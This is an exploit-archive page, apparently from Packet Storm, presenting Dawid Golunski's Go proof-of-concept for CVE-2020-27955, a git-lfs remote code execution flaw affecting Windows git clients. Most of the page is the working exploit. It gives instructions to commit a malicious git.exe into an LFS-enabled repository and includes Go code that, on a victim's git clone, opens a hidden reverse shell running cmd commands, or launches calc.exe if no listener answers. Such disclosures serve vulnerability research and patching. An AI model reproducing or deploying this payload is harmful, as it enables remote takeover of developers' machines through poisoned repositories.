what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

git-lfs Remote Code Execution

git-lfs Remote Code Execution
Posted Nov 6, 2020
Authored by Dawid Golunski

Proof of concept git-lfs remote code execution exploit written in Go. Affects Git, GitHub CLI, GitHub Desktop, Visual Studio, GitKraken, SmartGit, SourceTree, and more.

tags | exploit, remote, code execution, proof of concept
advisories | CVE-2020-27955
SHA-256 | 0c8177c46d702e8d2020c52ea4e282b0e930192714df192331520c8802c41440

git-lfs Remote Code Execution

Change Mirror Download
/*
Go PoC exploit for git-lfs - Remote Code Execution (RCE)
vulnerability CVE-2020-27955
git-lfs-RCE-exploit-CVE-2020-27955.go

Discovered by Dawid Golunski
https://legalhackers.com
https://exploitbox.io


Affected (RCE exploit):
Git / GitHub CLI / GitHub Desktop / Visual Studio / GitKraken /
SmartGit / SourceTree etc.
Basically the whole Windows dev world which uses git.

Usage:
Compile: go build git-lfs-RCE-exploit-CVE-2020-27955.go
Save & commit as git.exe

The payload should get executed automatically on git clone operation.
It spawns a reverse shell, or a calc.exe for testing (if it
couldn't connect).

An lfs-enabled repository with lfs files may also be needed so that git-lfs
gets invoked. This can be achieved with:

git lfs track "*.dat"
echo "fat bug file" > lfsdata.dat
git add .*
git add *
git commmit -m 'git-lfs exploit' -a

Check out the full advisory for details:

https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html

https://legalhackers.com/advisories/Git-LFS-RCE-Exploit-CVE-2020-27955.html

PoC video at:
https://youtu.be/tlptOf9w274

** For testing purposes only **


*/

package main
import (
"net"
"os/exec"
"bufio"
"syscall"
)


func revsh(host string) {

c, err := net.Dial("tcp", host)
if nil != err {
// Conn failed
if nil != c {
c.Close()
}
// Calc for testing purposes if no listener available
cmd := exec.Command("calc")
cmd.Run()
return
}

r := bufio.NewReader(c)
for {
runcmd, err := r.ReadString('\n')
if nil != err {
c.Close()
return
}
cmd := exec.Command("cmd", "/C", runcmd)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.CombinedOutput()
c.Write(out)
}
}

// Connect to netcat listener on local port 1337
func main() {
revsh("localhost:1337")
}


--
Regards,
Dawid Golunski
https://legalhackers.com
https://ExploitBox.io
t: @dawid_golunski


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close